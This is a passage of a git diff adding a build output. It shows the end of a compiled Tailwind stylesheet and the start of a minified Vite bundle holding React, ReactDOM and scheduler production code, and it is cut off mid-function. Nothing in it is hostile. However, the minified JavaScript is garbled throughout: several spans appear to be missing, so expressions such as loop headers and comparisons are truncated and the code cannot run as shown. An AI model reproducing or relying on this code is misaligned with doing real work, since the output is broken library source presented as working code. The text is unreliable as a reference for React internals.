var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.focus\:ring-zerin-accent\/20:focus{--tw-ring-color: rgb(6 182 212 / .2)}.focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgb(6 182 212 / .3)}.focus\:ring-zerin-danger\/20:focus{--tw-ring-color: rgb(239 68 68 / .2)}.disabled\:cursor-not-allowed:disabled{cursor:not-allowed}.disabled\:cursor-wait:disabled{cursor:wait}.disabled\:opacity-30:disabled{opacity:.3}.disabled\:opacity-40:disabled{opacity:.4}.disabled\:opacity-50:disabled{opacity:.5}.group:hover .group-hover\:w-4{width:1rem}.group:hover .group-hover\:w-full{width:100%}.group\/btn:hover .group-hover\/btn\:translate-x-full,.group:hover .group-hover\:translate-x-full{--tw-translate-x: 100%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:rotate-90{--tw-rotate: 90deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:scale-\[1\.02\]{--tw-scale-x: 1.02;--tw-scale-y: 1.02;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:border-zerin-accent\/20{border-color:#06b6d433}.group:hover .group-hover\:border-zerin-accent\/30{border-color:#06b6d44d}.group:hover .group-hover\:border-zerin-accent\/50{border-color:#06b6d480}.group:hover .group-hover\:bg-zerin-accent{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))}.group:hover .group-hover\:bg-zerin-text-muted\/60{background-color:#52525b99}.group:hover .group-hover\:text-zerin-accent{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:text-zerin-text{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:text-zerin-text-dim{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:opacity-100{opacity:1}@media (min-width: 640px){.sm\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.sm\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.sm\:text-5xl{font-size:3rem;line-height:1}.sm\:text-6xl{font-size:3.75rem;line-height:1}.sm\:text-sm{font-size:.875rem;line-height:1.25rem}}@media (min-width: 768px){.md\:h-36{height:9rem}.md\:w-36{width:9rem}.md\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.md\:grid-cols-5{grid-template-columns:repeat(5,minmax(0,1fr))}.md\:text-4xl{font-size:2.25rem;line-height:2.5rem}.md\:text-5xl{font-size:3rem;line-height:1}.md\:text-6xl{font-size:3.75rem;line-height:1}.md\:text-7xl{font-size:4.5rem;line-height:1}.md\:text-xl{font-size:1.25rem;line-height:1.75rem}}@media (min-width: 1024px){.lg\:col-span-5{grid-column:span 5 / span 5}.lg\:col-span-7{grid-column:span 7 / span 7}.lg\:block{display:block}.lg\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.lg\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.lg\:grid-cols-\[1fr_380px\]{grid-template-columns:1fr 380px}.lg\:pt-2{padding-top:.5rem}.lg\:text-8xl{font-size:6rem;line-height:1}}@media (min-width: 1280px){.xl\:col-span-4{grid-column:span 4 / span 4}.xl\:col-span-8{grid-column:span 8 / span 8}.xl\:block{display:block}.xl\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.xl\:grid-cols-5{grid-template-columns:repeat(5,minmax(0,1fr))}}@media (min-width: 1536px){.\32xl\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}}.\[\&\:\:-moz-range-thumb\]\:h-3::-moz-range-thumb{height:.75rem}.\[\&\:\:-moz-range-thumb\]\:w-3::-moz-range-thumb{width:.75rem}.\[\&\:\:-moz-range-thumb\]\:cursor-pointer::-moz-range-thumb{cursor:pointer}.\[\&\:\:-moz-range-thumb\]\:border-0::-moz-range-thumb{border-width:0px}.\[\&\:\:-moz-range-thumb\]\:bg-zerin-accent::-moz-range-thumb{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))}.\[\&\:\:-webkit-inner-spin-button\]\:appearance-none::-webkit-inner-spin-button{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-outer-spin-button\]\:appearance-none::-webkit-outer-spin-button{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-slider-thumb\]\:h-3::-webkit-slider-thumb{height:.75rem}.\[\&\:\:-webkit-slider-thumb\]\:w-3::-webkit-slider-thumb{width:.75rem}.\[\&\:\:-webkit-slider-thumb\]\:cursor-pointer::-webkit-slider-thumb{cursor:pointer}.\[\&\:\:-webkit-slider-thumb\]\:appearance-none::-webkit-slider-thumb{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-slider-thumb\]\:bg-zerin-accent::-webkit-slider-thumb{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))} diff --git a/dist/assets/index-Dvjgs59i.js b/dist/assets/index-Dvjgs59i.js new file mode 100755 index 0000000..0ae8425 --- /dev/null +++ b/dist/assets/index-Dvjgs59i.js @@ -0,0 +1,422 @@ +var _3=Object.defineProperty;var O3=(e,t,n)=>t in e?_3(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var nf=(e,t,n)=>O3(e,typeof t!="symbol"?t+"":t,n);function T3(e,t){for(var n=0;nr[i]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const a of i)if(a.type==="childList")for(const o of a.addedNodes)o.tagName==="LINK"&&o.rel==="modulepreload"&&r(o)}).observe(document,{childList:!0,subtree:!0});function n(i){const a={};return i.integrity&&(a.integrity=i.integrity),i.referrerPolicy&&(a.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?a.credentials="include":i.crossOrigin==="anonymous"?a.credentials="omit":a.credentials="same-origin",a}function r(i){if(i.ep)return;i.ep=!0;const a=n(i);fetch(i.href,a)}})();function jr(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var b2={exports:{}},Nu={},w2={exports:{}},he={};/** + * @license React + * react.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var Eo=Symbol.for("react.element"),M3=Symbol.for("react.portal"),L3=Symbol.for("react.fragment"),I3=Symbol.for("react.strict_mode"),D3=Symbol.for("react.profiler"),R3=Symbol.for("react.provider"),$3=Symbol.for("react.context"),B3=Symbol.for("react.forward_ref"),F3=Symbol.for("react.suspense"),W3=Symbol.for("react.memo"),U3=Symbol.for("react.lazy"),tv=Symbol.iterator;function V3(e){return e===null||typeof e!="object"?null:(e=tv&&e[tv]||e["@@iterator"],typeof e=="function"?e:null)}var j2={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},k2=Object.assign,N2={};function Ha(e,t,n){this.props=e,this.context=t,this.refs=N2,this.updater=n||j2}Ha.prototype.isReactComponent={};Ha.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};Ha.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function S2(){}S2.prototype=Ha.prototype;function rh(e,t,n){this.props=e,this.context=t,this.refs=N2,this.updater=n||j2}var ih=rh.prototype=new S2;ih.constructor=rh;k2(ih,Ha.prototype);ih.isPureReactComponent=!0;var nv=Array.isArray,z2=Object.prototype.hasOwnProperty,ah={current:null},C2={key:!0,ref:!0,__self:!0,__source:!0};function P2(e,t,n){var r,i={},a=null,o=null;if(t!=null)for(r in t.ref!==void 0&&(o=t.ref),t.key!==void 0&&(a=""+t.key),t)z2.call(t,r)&&!C2.hasOwnProperty(r)&&(i[r]=t[r]);var l=arguments.length-2;if(l===1)i.children=n;else if(1>>1,Y=B[q];if(0>>1;qi(fe,$))dei(G,fe)?(B[q]=G,B[de]=$,q=de):(B[q]=fe,B[ae]=$,q=ae);else if(dei(G,$))B[q]=G,B[de]=$,q=de;else break e}}return V}function i(B,V){var $=B.sortIndex-V.sortIndex;return $!==0?$:B.id-V.id}if(typeof performance=="object"&&typeof performance.now=="function"){var a=performance;e.unstable_now=function(){return a.now()}}else{var o=Date,l=o.now();e.unstable_now=function(){return o.now()-l}}var c=[],u=[],d=1,f=null,m=3,h=!1,x=!1,g=!1,y=typeof setTimeout=="function"?setTimeout:null,v=typeof clearTimeout=="function"?clearTimeout:null,b=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function w(B){for(var V=n(u);V!==null;){if(V.callback===null)r(u);else if(V.startTime<=B)r(u),V.sortIndex=V.expirationTime,t(c,V);else break;V=n(u)}}function j(B){if(g=!1,w(B),!x)if(n(c)!==null)x=!0,I(k);else{var V=n(u);V!==null&&F(j,V.startTime-B)}}function k(B,V){x=!1,g&&(g=!1,v(z),z=-1),h=!0;var $=m;try{for(w(V),f=n(c);f!==null&&(!(f.expirationTime>V)||B&&!T());){var q=f.callback;if(typeof q=="function"){f.callback=null,m=f.priorityLevel;var Y=q(f.expirationTime<=V);V=e.unstable_now(),typeof Y=="function"?f.callback=Y:f===n(c)&&r(c),w(V)}else r(c);f=n(c)}if(f!==null)var ie=!0;else{var ae=n(u);ae!==null&&F(j,ae.startTime-V),ie=!1}return ie}finally{f=null,m=$,h=!1}}var S=!1,N=null,z=-1,O=5,_=-1;function T(){return!(e.unstable_now()-_B||125q?(B.sortIndex=$,t(u,B),n(c)===null&&B===n(u)&&(g?(v(z),z=-1):g=!0,F(j,$-q))):(B.sortIndex=Y,t(c,B),x||h||(x=!0,I(k))),B},e.unstable_shouldYield=T,e.unstable_wrapCallback=function(B){var V=m;return function(){var $=m;m=V;try{return B.apply(this,arguments)}finally{m=$}}}})(M2);T2.exports=M2;var tz=T2.exports;/** + * @license React + * react-dom.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var nz=p,Jt=tz;function J(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),dp=Object.prototype.hasOwnProperty,rz=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,iv={},av={};function iz(e){return dp.call(av,e)?!0:dp.call(iv,e)?!1:rz.test(e)?av[e]=!0:(iv[e]=!0,!1)}function az(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return r?!1:n!==null?!n.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function sz(e,t,n,r){if(t===null||typeof t>"u"||az(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function Tt(e,t,n,r,i,a,o){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=i,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=a,this.removeEmptyString=o}var bt={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){bt[e]=new Tt(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];bt[t]=new Tt(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){bt[e]=new Tt(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){bt[e]=new Tt(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){bt[e]=new Tt(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){bt[e]=new Tt(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){bt[e]=new Tt(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){bt[e]=new Tt(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){bt[e]=new Tt(e,5,!1,e.toLowerCase(),null,!1,!1)});var lh=/[\-:]([a-z])/g;function ch(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(lh,ch);bt[t]=new Tt(t,1,!1,e,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(lh,ch);bt[t]=new Tt(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(lh,ch);bt[t]=new Tt(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(e){bt[e]=new Tt(e,1,!1,e.toLowerCase(),null,!1,!1)});bt.xlinkHref=new Tt("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(e){bt[e]=new Tt(e,1,!1,e.toLowerCase(),null,!0,!0)});function uh(e,t,n,r){var i=bt.hasOwnProperty(t)?bt[t]:null;(i!==null?i.type!==0:r||!(2l||i[o]!==a[l]){var c=` +`+i[o].replace(" at new "," at ");return e.displayName&&c.includes("")&&(c=c.replace("",e.displayName)),c}while(1<=o&&0<=l);break}}}finally{sf=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?Ps(e):""}function oz(e){switch(e.tag){case 5:return Ps(e.type);case 16:return Ps("Lazy");case 13:return Ps("Suspense");case 19:return Ps("SuspenseList");case 0:case 2:case 15:return e=of(e.type,!1),e;case 11:return e=of(e.type.render,!1),e;case 1:return e=of(e.type,!0),e;default:return""}}function hp(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case oa:return"Fragment";case sa:return"Portal";case fp:return"Profiler";case dh:return"StrictMode";case pp:return"Suspense";case mp:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case D2:return(e.displayName||"Context")+".Consumer";case I2:return(e._context.displayName||"Context")+".Provider";case fh:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case ph:return t=e.displayName||null,t!==null?t:hp(e.type)||"Memo";case Mr:t=e._payload,e=e._init;try{return hp(e(t))}catch{}}return null}function lz(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return hp(t);case 8:return t===dh?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function ni(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function $2(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function cz(e){var t=$2(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var i=n.get,a=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(o){r=""+o,a.call(this,o)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(o){r=""+o},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function nl(e){e._valueTracker||(e._valueTracker=cz(e))}function B2(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=$2(e)?e.checked?"true":"false":e.value),e=r,e!==n?(t.setValue(e),!0):!1}function ic(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function xp(e,t){var n=t.checked;return Ue({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function ov(e,t){var n=t.defaultValue==null?"":t.defaultValue,r=t.checked!=null?t.checked:t.defaultChecked;n=ni(t.value!=null?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function F2(e,t){t=t.checked,t!=null&&uh(e,"checked",t,!1)}function vp(e,t){F2(e,t);var n=ni(t.value),r=t.type;if(n!=null)r==="number"?(n===0&&e.value===""||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if(r==="submit"||r==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?gp(e,t.type,n):t.hasOwnProperty("defaultValue")&&gp(e,t.type,ni(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function lv(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!(r!=="submit"&&r!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}n=e.name,n!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,n!==""&&(e.name=n)}function gp(e,t,n){(t!=="number"||ic(e.ownerDocument)!==e)&&(n==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}var Es=Array.isArray;function wa(e,t,n,r){if(e=e.options,t){t={};for(var i=0;i"+t.valueOf().toString()+"",t=rl.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function Hs(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var Ls={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},uz=["Webkit","ms","Moz","O"];Object.keys(Ls).forEach(function(e){uz.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),Ls[t]=Ls[e]})});function H2(e,t,n){return t==null||typeof t=="boolean"||t===""?"":n||typeof t!="number"||t===0||Ls.hasOwnProperty(e)&&Ls[e]?(""+t).trim():t+"px"}function K2(e,t){e=e.style;for(var n in t)if(t.hasOwnProperty(n)){var r=n.indexOf("--")===0,i=H2(n,t[n],r);n==="float"&&(n="cssFloat"),r?e.setProperty(n,i):e[n]=i}}var dz=Ue({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function wp(e,t){if(t){if(dz[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(J(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(J(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(J(61))}if(t.style!=null&&typeof t.style!="object")throw Error(J(62))}}function jp(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var kp=null;function mh(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var Np=null,ja=null,ka=null;function dv(e){if(e=Oo(e)){if(typeof Np!="function")throw Error(J(280));var t=e.stateNode;t&&(t=Eu(t),Np(e.stateNode,e.type,t))}}function q2(e){ja?ka?ka.push(e):ka=[e]:ja=e}function Y2(){if(ja){var e=ja,t=ka;if(ka=ja=null,dv(e),t)for(e=0;e>>=0,e===0?32:31-(jz(e)/kz|0)|0}var il=64,al=4194304;function As(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function lc(e,t){var n=e.pendingLanes;if(n===0)return 0;var r=0,i=e.suspendedLanes,a=e.pingedLanes,o=n&268435455;if(o!==0){var l=o&~i;l!==0?r=As(l):(a&=o,a!==0&&(r=As(a)))}else o=n&~i,o!==0?r=As(o):a!==0&&(r=As(a));if(r===0)return 0;if(t!==0&&t!==r&&!(t&i)&&(i=r&-r,a=t&-t,i>=a||i===16&&(a&4194240)!==0))return t;if(r&4&&(r|=n&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=r;0n;n++)t.push(e);return t}function Ao(e,t,n){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-En(t),e[t]=n}function Cz(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0=Ds),bv=" ",wv=!1;function mw(e,t){switch(e){case"keyup":return tC.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function hw(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var la=!1;function rC(e,t){switch(e){case"compositionend":return hw(t);case"keypress":return t.which!==32?null:(wv=!0,bv);case"textInput":return e=t.data,e===bv&&wv?null:e;default:return null}}function iC(e,t){if(la)return e==="compositionend"||!jh&&mw(e,t)?(e=fw(),Wl=yh=Br=null,la=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1=t)return{node:n,offset:t-e};e=r}e:{for(;n;){if(n.nextSibling){n=n.nextSibling;break e}n=n.parentNode}n=void 0}n=Sv(n)}}function yw(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?yw(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function bw(){for(var e=window,t=ic();t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href=="string"}catch{n=!1}if(n)e=t.contentWindow;else break;t=ic(e.document)}return t}function kh(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function pC(e){var t=bw(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&yw(n.ownerDocument.documentElement,n)){if(r!==null&&kh(n)){if(t=r.start,e=r.end,e===void 0&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(e=(t=n.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var i=n.textContent.length,a=Math.min(r.start,i);r=r.end===void 0?a:Math.min(r.end,i),!e.extend&&a>r&&(i=r,r=a,a=i),i=zv(n,a);var o=zv(n,r);i&&o&&(e.rangeCount!==1||e.anchorNode!==i.node||e.anchorOffset!==i.offset||e.focusNode!==o.node||e.focusOffset!==o.offset)&&(t=t.createRange(),t.setStart(i.node,i.offset),e.removeAllRanges(),a>r?(e.addRange(t),e.extend(o.node,o.offset)):(t.setEnd(o.node,o.offset),e.addRange(t)))}}for(t=[],e=n;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,ca=null,Ap=null,$s=null,_p=!1;function Cv(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;_p||ca==null||ca!==ic(r)||(r=ca,"selectionStart"in r&&kh(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),$s&&Zs($s,r)||($s=r,r=dc(Ap,"onSelect"),0fa||(e.current=Dp[fa],Dp[fa]=null,fa--)}function Ee(e,t){fa++,Dp[fa]=e.current,e.current=t}var ri={},St=li(ri),$t=li(!1),Li=ri;function _a(e,t){var n=e.type.contextTypes;if(!n)return ri;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var i={},a;for(a in n)i[a]=t[a];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function Bt(e){return e=e.childContextTypes,e!=null}function pc(){Me($t),Me(St)}function Mv(e,t,n){if(St.current!==ri)throw Error(J(168));Ee(St,t),Ee($t,n)}function Ew(e,t,n){var r=e.stateNode;if(t=t.childContextTypes,typeof r.getChildContext!="function")return n;r=r.getChildContext();for(var i in r)if(!(i in t))throw Error(J(108,lz(e)||"Unknown",i));return Ue({},n,r)}function mc(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||ri,Li=St.current,Ee(St,e),Ee($t,$t.current),!0}function Lv(e,t,n){var r=e.stateNode;if(!r)throw Error(J(169));n?(e=Ew(e,t,Li),r.__reactInternalMemoizedMergedChildContext=e,Me($t),Me(St),Ee(St,e)):Me($t),Ee($t,n)}var nr=null,Au=!1,wf=!1;function Aw(e){nr===null?nr=[e]:nr.push(e)}function SC(e){Au=!0,Aw(e)}function 